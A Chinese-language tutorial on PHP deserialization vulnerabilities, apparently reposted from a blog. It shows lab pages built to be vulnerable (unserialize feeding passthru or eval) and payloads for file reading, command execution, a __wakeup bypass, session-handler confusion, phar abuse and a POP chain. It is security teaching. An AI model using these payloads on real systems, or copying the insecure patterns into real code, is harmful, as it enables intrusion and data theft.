喝水不打嗝 發表於 2019-9-25 14:27:00

浅谈PHP反序列化漏洞原理

<h1 id="序列化与反序列化">序列化与反序列化</h1>
<p><img src="https://upload-images.jianshu.io/upload_images/6230889-41c349a02dccbfea.PNG?imageMogr2/auto-orient/strip%7CimageView2/2/w/662/format/webp" alt="img" loading="lazy"></p>
<p>序列化用途:方便于对象在网络中的传输和存储</p>
<h2 id="0x01-php反序列化漏洞">0x01 php反序列化漏洞</h2>
<p>在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。</p>
<p>常见的序列化格式:</p>
<ul>
<li>二进制格式</li>
<li>字节数组</li>
<li>json字符串</li>
<li>xml字符串</li>
</ul>
<blockquote>
<p>序列化就是将对象转换为流,利于储存和传输的格式</p>
<p>反序列化与序列化相反,将流转换为对象</p>
<p>例如:json序列化、XML序列化、二进制序列化、SOAP序列化</p>
</blockquote>
<p>而php的序列化和反序列化基本都围绕着 <code>serialize()</code>,<code>unserialize()</code>这两个函数</p>
<h3 id="php对象中常见的魔术方法">php对象中常见的魔术方法</h3>
<pre><code class="language-php">__construct()        // 当一个对象创建时被调用,
__destruct()        // 当一个对象销毁时被调用,
__toString()        // 当一个对象被当作一个字符串被调用。
__wakeup()                // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep()                // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__destruct()        // 对象被销毁时触发
__call()                // 在对象上下文中调用不可访问的方法时触发
__callStatic()        // 在静态上下文中调用不可访问的方法时触发
__get()                        // 用于从不可访问的属性读取数据
__set()                        // 用于将数据写入不可访问的属性
__isset()                // 在不可访问的属性上调用isset()或empty()触发
__unset()                // 在不可访问的属性上使用unset()时触发
__toString()        // 把类当作字符串使用时触发,返回值需要为字符串
__invoke()                // 当脚本尝试将对象调用为函数时触发
</code></pre>
<h3 id="php序列化数据">PHP序列化数据</h3>
<p>测试脚本 test.php</p>
<pre><code class="language-php">&lt;?php
        class User
    {
      public $name = '';
      public $age = 0;
      public $addr = '';
      public function __toString()
      {
            return '用户名: '.$this-&gt;name.'&lt;br&gt; 年龄: '.$this-&gt;age.'&lt;br/&gt;地址: '.$this-&gt;addr;
      }
    }
        $user = new User();
        $user-&gt;name = 'default';
        $user-&gt;age = '0';
        $user-&gt;addr = 'default';
        echo serialize($user);
?&gt;
</code></pre>
<p>这是一个对象通过serialize()方法序列化后的格式</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220739899-1763371109.png" alt="" loading="lazy"></p>
<pre><code class="language-tsx">a - array                  b - boolean
d - double               i - integer
o - common object          r - reference
s - string               C - custom object
O - class                  N - null
R - pointer reference      U - unicode string
</code></pre>
<p>当一个页面发现传递参数类似对象序列化的数据格式,可以测试是否存在反序列化漏洞</p>
<h3 id="php对象中属性的访问级别">php对象中属性的访问级别</h3>
<p>测试 test.php</p>
<pre><code class="language-php">class User
{
        private $name = 'default';
        public $age = 18;
        protected $addr = 'default';
        public function __toString()
           {
                   return '用户名: '.$this-&gt;name.'&lt;br&gt; 年龄: '.$this-&gt;age.'&lt;br/&gt;地址: '.$this-&gt;addr;
    }
}
$user = new User();
echo serialize($user);
</code></pre>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220747548-2138993199.png" alt="" loading="lazy"></p>
<p><code>private</code> 的属性序列化后变成 <code>&lt;0x00&gt;对象&lt;0x00&gt;属性名</code></p>
<p><code>public</code> 没有任何变化</p>
<p><code>protected</code> 的属性序列化后变成 <code>&lt;0x00&gt;*&lt;0x00&gt;属性名</code></p>
<p>特殊十六进制<code>&lt;0x00&gt;</code>表示一个坏字节,就是空字节</p>
<p><strong>下面测试正确的传值姿势进行反序列化</strong></p>
<p>代码后添加几句</p>
<pre><code class="language-php">$obj = unserialize($_POST['usr_serialized']);
echo $obj;
</code></pre>
<p>先是测试普通的访问形式来传值</p>
<p><code>usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220755184-973034679.png" alt="" loading="lazy"></p>
<p><code>public</code>被正常修改,private、protected无法被对象外修改</p>
<p>如何才能从外部修改被保护的属性值呢?</p>
<p><strong>将 <code>&lt;0x00&gt;</code>的位置用 <code>%00</code>代替</strong></p>
<p><code>usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220801054-1365587398.png" alt="" loading="lazy"></p>
<p>可以发现即使是被保护的属性也会被外部修改</p>
<h3 id="php反序列化演示">php反序列化演示</h3>
<p>假设页面有个接口参数可控</p>
<pre><code class="language-php">&lt;?php
    class FileClass
    {
      public $filename = 'error.log';
      public function __toString()
      {
            return file_get_contents($this-&gt;filename);
      }
    }
    class User
    {
      public $name = '';
      public $age = 0;
      public $addr = '';
      
      public function __toString()
      {
            return '用户名: '.$this-&gt;name.'&lt;br&gt; 年龄: '.$this-&gt;age.'&lt;br/&gt;地址: '.$this-&gt;addr;
      }
    }
        # 参数可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
?&gt;
</code></pre>
<p>测试页面是通过post来传递参数,实战环境不一定在post中,参数可能会被加密编码过</p>
<p>先传递一个 <code>O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220808644-1891902874.png" alt="" loading="lazy"></p>
<p>通过修改参数,判断参数是否可变</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220813115-1594934212.png" alt="" loading="lazy"></p>
<p>参数可变</p>
<h3 id="反序列化漏洞利用">反序列化漏洞利用</h3>
<blockquote>
<p>漏洞形成条件</p>
<ol>
<li>参数可变</li>
<li>有可利用函数</li>
</ol>
</blockquote>
<p>假设存在可利用函数</p>
<p>测试代码 test.php</p>
<pre><code class="language-php">&lt;?php
    class FileClass
    {
      public $filename = 'error.log';
      public function __toString()
      {
            # 读取文件函数
            return file_get_contents($this-&gt;filename);
      }
    }
    class User
    {
      public $name = '';
      public $age = 0;
      public $addr = '';
      
      public function __toString()
      {
            return '用户名: '.$this-&gt;name.'&lt;br&gt; 年龄: '.$this-&gt;age.'&lt;br/&gt;地址: '.$this-&gt;addr;
      }
    }
        # 参数可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?&gt;
</code></pre>
<p>可知存在一个<code>file_get_contents()</code>文件读取函数。</p>
<p>构造恶意参数 <code>O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}</code></p>
<p>将之前User的接口改为读取文件的类构造参数,FileClass只有一个filename属性,只需要传递要读取的文件名就行</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190919150011062-152300612.png" alt="" loading="lazy"></p>
<p>用同样的参数名传递恶意参数,导致当前目录的<code>test.php</code>被读取,也可以尝试读取其他文件</p>
<p>读取<code>test.txt</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220821121-939783325.png" alt="" loading="lazy"></p>
<p>尝试读取<code>/etc/passwd</code></p>
<p>构造参数 <code>O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220825899-1135348166.png" alt="" loading="lazy"></p>
<h2 id="0x02-绕过-__wakeup">0x02 绕过 __wakeup()</h2>
<p>__wakeup() 类似一个预处理的作用,在执行unserialize()时会检测是否存在wakeup,存在则先执行 __wakeup()</p>
<h4 id="绕过方式">绕过方式</h4>
<p>这种方式绕过是由PHP的版本漏洞造成的</p>
<p><strong>绕过<code>__wakeup()</code>只需要将参数的个数改成超过现有的参数个数即可</strong></p>
<h4 id="影响版本">影响版本</h4>
<p>PHP5 &lt; 5.6.25<br>
PHP7 &lt; 7.0.10</p>
<h4 id="5640和5538测试对比">5.6.40和5.5.38测试对比</h4>
<p>测试页面 test.php</p>
<p>测试版本 php 5.6.40</p>
<p>测试系统 Linux</p>
<p>IP :192.168.80.11</p>
<pre><code class="language-php">&lt;?php
    // ...省略其他代码
        class CMDClass{
                public $cmd = "";
                function __wakeup(){
                        if(strpos($this-&gt;cmd,'ls')!==false){
                                $this-&gt;cmd = " ";
                        }
                }
                function __destruct(){
                        passthru($this-&gt;cmd,$result);
                }
                function __toString(){
                        return "";
                }
        }
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?&gt;
</code></pre>
<p>这里 __wakeup() 中,判断如果输入的cmd参数中存在 "ls" 的字符串,则将cmd置为空格。</p>
<p>构造参数 <code>O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220833369-437255458.png" alt="" loading="lazy"></p>
<p>将参数的个数改成超过现有的参数个数进行绕过</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220838115-1694783520.png" alt="" loading="lazy"></p>
<p>更新后的版本,无法绕过会产生报错</p>
<p>换一台虚拟机进行测试</p>
<p>测试页面 test.php</p>
<p>测试版本 php 5.5.38</p>
<p>测试系统 Windows 7</p>
<p>IP :192.168.80.128</p>
<p>测试页面 php_unser.php</p>
<pre><code class="language-php">&lt;?php       
    // ...其余都一样
                function __wakeup(){
                    # 因为win7没有ls命令,所以这里来限制ipconfig命令
                        if(strpos($this-&gt;cmd,'ip')!==false){
                                $this-&gt;cmd = "echo 非法输入";
                        }
                }
?&gt;
</code></pre>
<p>构造参数 <code>O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220844048-1728562340.png" alt="" loading="lazy"></p>
<p>发现被__wakeup()过滤了</p>
<p>修改参数个数进行绕过 <code>O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220849009-1357940254.png" alt="" loading="lazy"></p>
<p>经测试可以绕过</p>
<h2 id="0x03-session反序列化">0x03 Session反序列化</h2>
<blockquote>
<p>php中的session内容不是存放在内存中,是以文件形式存在。存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以<code>sess_sessionid</code>来进行命名的,文件的内容就是session值的序列化之后的内容。</p>
</blockquote>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220855753-2118196836.png" alt="" loading="lazy"></p>
<h3 id="存储方式">存储方式</h3>
<ul>
<li><code>php_binary</code>存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值</li>
<li><code>php</code>存储方式是,键名+竖线+经过serialize()函数序列处理的值</li>
<li><code>php_serialize(php&gt;5.5.4)</code>存储方式是,经过serialize()函数序列化处理的值</li>
</ul>
<p>设置格式</p>
<p><code>ini_set('session.serialize_handler', '需要设置的引擎');</code></p>
<h4 id="默认下session存储为-php-存储方式">默认下session存储为 <code>php</code> 存储方式</h4>
<pre><code class="language-php">&lt;?php
        session_start();
        $_SESSION['name'] = 'admin';
        echo "session_id: ".session_id()."&lt;br&gt;";
        passthru("cat /tmp/sess_".session_id());
?&gt;
// session内容        name|s:5:"admin";
</code></pre>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220905274-217303997.png" alt="" loading="lazy"></p>
<h4 id="php_serialize引擎"><code>php_serialize</code>引擎</h4>
<pre><code class="language-php">ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session内容        a:1:{s:4:"name";s:5:"admin";}
</code></pre>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220911878-24184976.png" alt="" loading="lazy"></p>
<h4 id="php_binary引擎"><code>php_binary</code>引擎</h4>
<pre><code class="language-php">ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session内容       
</code></pre>
<p>ASCII的值为4的字符无法打印显示</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220917883-667122589.png" alt="" loading="lazy"></p>
<h3 id="漏洞原理">漏洞原理</h3>
<p>当session使用不当,如php反序列化储存时使用引擎和序列化使用的引擎不一样,就会形成漏洞。</p>
<h3 id="漏洞复现">漏洞复现</h3>
<p>本次测试,以 <code>php</code>引擎和 <code>php_serialize</code>引擎混合引发的漏洞</p>
<p>测试页面1 <code>target1.php</code> --&gt; <code>php_serialize</code>引擎</p>
<pre><code class="language-php">&lt;?php
        ini_set('session.serialize_handler', 'php_serialize');
        session_start();
        $_SESSION["name"]=$_GET["name"];

        if ($_SESSION["name"] !== null &amp;&amp; $_SESSION["name"] !== "") {
                echo "欢迎来到第一个页面,Session已保存!";
        }
?&gt;
</code></pre>
<p>测试页面2 <code>target2.php</code> --&gt; <code>php</code>引擎</p>
<pre><code class="language-php">&lt;?php
        ini_set('session.serialize_handler','php');
        session_start();
        // 开启session之后 无需调用会自动加载
        class Admin
        {
                var $name;
                function __construct()
                {
                        $this-&gt;name = "default";
                }
                function __destruct(){
            // 执行命令
                        passthru($this-&gt;name);
                }
        }
?&gt;
</code></pre>
<p>通过向 <code>target1.php</code>传递一个name为 <code>admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}</code></p>
<p>然后在访问 <code>target2.php</code>,会发现之前传递参数中的 <code>cat /etc/passwd</code>命令被执行</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220935854-1284648730.png" alt="" loading="lazy"></p>
<p>这是发生了什么?!!</p>
<p><strong>漏洞触发流程</strong></p>
<p><strong>首先</strong>通过访问 <code>target1.php</code>并且传递了参数 <code>name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220941684-1281225372.png" alt="" loading="lazy"></p>
<p>而<code>target1.php</code>页面是<code>php_serialize</code>引擎来存储session,所以session保存后的内容变成了 <code>a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220946243-1153556731.png" alt="" loading="lazy"></p>
<p><strong>然后</strong>当访问<code>target2.php</code>时,会用第二个页面的 <code>php</code>引擎来解析session,通过 <code>|</code>来分割字符串取出对应的值;</p>
<p>Session值</p>
<p><code> a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}</code></p>
<p>分解后,<code> a:1:{s:4:"name";s:48:"admin</code>被当作session的<strong>key</strong>值<br>
<code>O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}</code>被解析成<strong>value</strong></p>
<p><strong>Session本身就是序列化和反序列化的存储方式</strong></p>
<p>通过session将<code>O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}</code>反序列化</p>
<p>就会生成 <code>Admin</code>对象和一个属性值为 <code>cat /etc/passwd</code>的name</p>
<p>再通过对象的销毁魔术方法<code>__destruct()</code>就会形成恶意的命令执行</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220955923-467157388.png" alt="" loading="lazy"></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918220959608-225726772.png" alt="" loading="lazy"></p>
<h3 id="ctf题实战">CTF题实战</h3>
<p>为了符合题意需要将 <code>php.ini</code>中的 serialize_handler 修改一下</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221004414-564554919.png" alt="" loading="lazy"></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221009493-1481923921.png" alt="" loading="lazy"></p>
<p>题目测试页面 test3.php</p>
<pre><code class="language-php">&lt;?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
      $this-&gt;mdzz = 'phpinfo();';
    }
   
    function __destruct()
    {
      eval($this-&gt;mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('test3.php'));
}
?&gt;
</code></pre>
<p>访问 <code>&lt;http://192.168.80.11/test3.php?phpinfo=phpinfo()&gt;</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221017448-751867177.png" alt="" loading="lazy"></p>
<p>符合上面将的漏洞环境</p>
<p>通过源码可以看出并没有可以传入参数的地方</p>
<p>不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的</p>
<blockquote>
<p>Session 上传进度<br>
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态<br>
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值</p>
</blockquote>
<p><strong>构造一个post表单</strong></p>
<pre><code class="language-html">&lt;form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data"&gt;
    &lt;input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123"&gt;
    &lt;input type="file" name="file"&gt;
    &lt;input type="submit"&gt;
&lt;/form&gt;
</code></pre>
<p>上传一个文件,抓包分析</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221025980-284914318.png" alt="" loading="lazy"></p>
<p>修改 filename 的值为 <code>|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221031659-2118265938.png" alt="" loading="lazy"></p>
<p>session值 先是以php_serialize引擎序列化后储存</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221036373-580603789.png" alt="" loading="lazy"></p>
<p>后输出页面被 php引擎解析触发反序列化漏洞</p>
<p>构造payload <code>|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}</code></p>
<p>可以遍历 /tmp/ 内的所有文件</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190919150123879-1366682854.png" alt="" loading="lazy"></p>
<h2 id="0x04-反序列化绕过正则">0x04 反序列化绕过正则</h2>
<p>测试页面源码 test4.php</p>
<pre><code class="language-php">&lt;?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
    public $file;
    function __toString()      
    {
      if(isset($this-&gt;file))
      {
            $filename = "./{$this-&gt;file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
      }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/:\d+:/i',$data,$matches);
    if(count($matches))
    {
      die('Hacker!');
    }
    else
    {
      $good = unserialize($data);
      echo $good;
    }
}
else
{
    highlight_file("./test4.php");
}
?&gt;
</code></pre>
<p>首先访问 <code>&lt;http://192.168.80.11/test4.php&gt;</code></p>
<p>通过源码可以看出存在一个反序列化漏洞</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221045073-1768523500.png" alt="" loading="lazy"></p>
<p>根据之前的经验直接构造一个 序列化payload <code>O:4:"baby":1:{s:4:"file";s:9:"index.php";}</code></p>
<p>但是由于存在正则表达式 <code>preg_match('/:\d+:/i',$data,$matches);</code> 对序列化字符串做了限制导致触发防御</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221052144-554185777.png" alt="" loading="lazy"></p>
<p>接下来尝试绕过正则表达式,前面的O:4:符合正则的条件,因此将其绕过即可。利用符号+就不会正则匹配到数字,新的payload 为<code>O:+4:"baby":1:{s:4:"file";s:9:"index.php";}</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221056033-858656369.png" alt="" loading="lazy"></p>
<p>并没有什么变化的原因是,在url中 <code>+</code> 号会被解释为空格,所以需要将 <code>+</code> url编码后加入</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221059790-2082989401.png" alt="" loading="lazy"></p>
<p>尝试访问 flag.php</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221103724-1975903846.png" alt="" loading="lazy"></p>
<p>绕过正则表达式</p>
<blockquote>
<p>实战中需根据正则表达式规则来进行绕过</p>
</blockquote>
<h2 id="0x05-phar反序列化">0x05 phar反序列化</h2>
<blockquote>
<p>phar伪协议触发php反序列化</p>
</blockquote>
<h3 id="phar协议">phar://协议</h3>
<p>可以将多个文件归入一个本地文件夹,也可以包含一个文件</p>
<h3 id="phar文件">phar文件</h3>
<p>PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。</p>
<h3 id="案例演示">案例演示</h3>
<p>假设已知页面 test5.php</p>
<pre><code class="language-php">&lt;?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
      var $output='echo "nice"';
      function __destruct(){
            eval($this-&gt;output);
      }
    }
      var_dump(file_exists($filename));
      file_exists($filename);
    }
else{
    highlight_file(__FILE__);
}
</code></pre>
<p>接下来根据源码中的类来构造一个phar文件</p>
<p>创建一个 <code>phar.php</code></p>
<pre><code class="language-php">&lt;?php
class MyClass{
        var $output='phpinfo();';
        function __destruct(){
            eval($this-&gt;output);
        }
}

@unlink("./myclass.phar");
$a=new MyClass;
$a-&gt;output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后缀必须为 phar
$phar-&gt;startBuffering();
$phar-&gt;setStub("GIF89a"."&lt;?php __HALT_COMPILER(); ?&gt;");
$phar-&gt;setMetadata($a);        // 将自定义的meta-data存入manifest
$phar-&gt;addFromString("test.txt","test");        // 添加压缩文件
// 签名自动计算
$phar-&gt;stopBuffering();
?&gt;
</code></pre>
<p>通过访问或者 php 编译去生成 phar文件</p>
<p><strong>注意:</strong>必须要在php.ini中设置 <code>phar.readonly = Off</code> 不然无法生存phar文件</p>
<p>通过查看,其中有一串序列化字符串正是和已知页面源码中类相对应</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221113904-229385016.png" alt="" loading="lazy"></p>
<p>可以通过上传文件等方式将phar文件放到服务器上</p>
<p>先通过正常url <code>http://192.168.80.11/test5.php?filename=index.php</code> 访问</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221120363-338824366.png" alt="" loading="lazy"></p>
<p>找到phar文件的路径</p>
<p>利用 phar:// 协议来访问</p>
<p><code>http://192.168.80.11/test5.php?filename=phar://myclass.phar</code></p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221128129-1691744821.png" alt="" loading="lazy"></p>
<p>可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的</p>
<h2 id="0x06-pop链构造">0x06 POP链构造</h2>
<p>测试页面 pop.php</p>
<pre><code class="language-php">&lt;?php
class start_gg
{
      public $mod1;
      public $mod2;
      public function __destruct()
      {
                $this-&gt;mod1-&gt;test1();
      }
}
class Call
{
      public $mod1;
      public $mod2;
      public function test1()
    {
            $this-&gt;mod1-&gt;test2();
    }
}
class funct
{
      public $mod1;
      public $mod2;
      public function __call($test2,$arr)
      {
                $s1 = $this-&gt;mod1;
                $s1();
      }
}
class func
{
      public $mod1;
      public $mod2;
      public function __invoke()
      {
                $this-&gt;mod2 = "字符串拼接".$this-&gt;mod1;
      }
}
class string1
{
      public $str1;
      public $str2;
      public function __toString()
      {
                $this-&gt;str1-&gt;get_flag();
                return "1";
      }
}
class GetFlag
{
      public function get_flag()
      {
                echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
      }
}
$a = $_GET['string'];
unserialize($a);
?&gt;
</code></pre>
<p>解题思路:</p>
<ol>
<li>首先发现找到flag,发现flag需要通过<code>GetFlag</code>类中<code>get_flag()</code>函数输出,然后可以看到<code>string1</code>类中的<code>__toString()</code>方法可以直接调用<code>get_flag()</code>方法,而<code>str1</code>需要赋值为<code>GetFlag</code>。</li>
<li>发现类<code>func</code>中存在<code>__invoke</code>方法执行了字符串拼接,需要把<code>func</code>当成函数使用自动调用<code>__invoke</code>然后把<code>$mod1</code>赋值为<code>string1</code>的对象与<code>$mod2</code>拼接。</li>
<li>在<code>funct</code>中找到了函数调用,需要把<code>mod1</code>赋值为<code>func</code>类的对象,又因为函数调用在<code>__call</code>方法中,且参数为<code>$test2</code>,即无法调用<code>test2</code>方法时自动调用 <code>__call</code>方法;</li>
<li>在<code>Call</code>中的<code>test1</code>方法中存在<code>$this-&gt;mod1-&gt;test2();</code>,需要把<code>$mod1</code>赋值为<code>funct</code>的对象,让<code>__call</code>自动调用。</li>
<li>查找<code>test1</code>方法的调用点,在<code>start_gg</code>中发现<code>$this-&gt;mod1-&gt;test1();</code>,把<code>$mod1</code>赋值为<code>start_gg</code>类的对象,等待<code>__destruct()</code>自动调用。</li>
</ol>
<p>通过构造pop链输出payload</p>
<pre><code class="language-php">&lt;?php
class start_gg
{
      public $mod1;
      public $mod2;
      public function __construct()
      {
                $this-&gt;mod1 = new Call();//把$mod1赋值为Call类对象
      }
      public function __destruct()
      {
                $this-&gt;mod1-&gt;test1();
      }
}
class Call
{
      public $mod1;
      public $mod2;
      public function __construct()
      {
                $this-&gt;mod1 = new funct();//把 $mod1赋值为funct类对象
      }
      public function test1()
      {
                $this-&gt;mod1-&gt;test2();
      }
}

class funct
{
      public $mod1;
      public $mod2;
      public function __construct()
      {
                $this-&gt;mod1= new func();//把 $mod1赋值为func类对象

      }
      public function __call($test2,$arr)
      {
                $s1 = $this-&gt;mod1;
                $s1();
      }
}
class func
{
      public $mod1;
      public $mod2;
      public function __construct()
      {
                $this-&gt;mod1= new string1();//把 $mod1赋值为string1类对象

      }
      public function __invoke()
      {      
                $this-&gt;mod2 = "字符串拼接".$this-&gt;mod1;
      }
}
class string1
{
      public $str1;
      public function __construct()
      {
                $this-&gt;str1= new GetFlag();//把 $str1赋值为GetFlag类对象         
      }
      public function __toString()
      {      
                $this-&gt;str1-&gt;get_flag();
                return "1";
      }
}
class GetFlag
{
      public function get_flag()
      {
                echo "flag:"."xxxxxxxxxxxx";
      }
}
$b = new start_gg;//构造start_gg类对象$b
echo serialize($b);
</code></pre>
<p>执行后输出 payload <code>O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}</code></p>
<p>将payload带入到参数发送请求,输出flag</p>
<p><img src="https://img2018.cnblogs.com/blog/1404622/201909/1404622-20190918221157714-832595115.png" alt="" loading="lazy"></p><br><br>
来源:https://www.cnblogs.com/r0ckysec/p/11545962.html
頁: [1]
查看完整版本: 浅谈PHP反序列化漏洞原理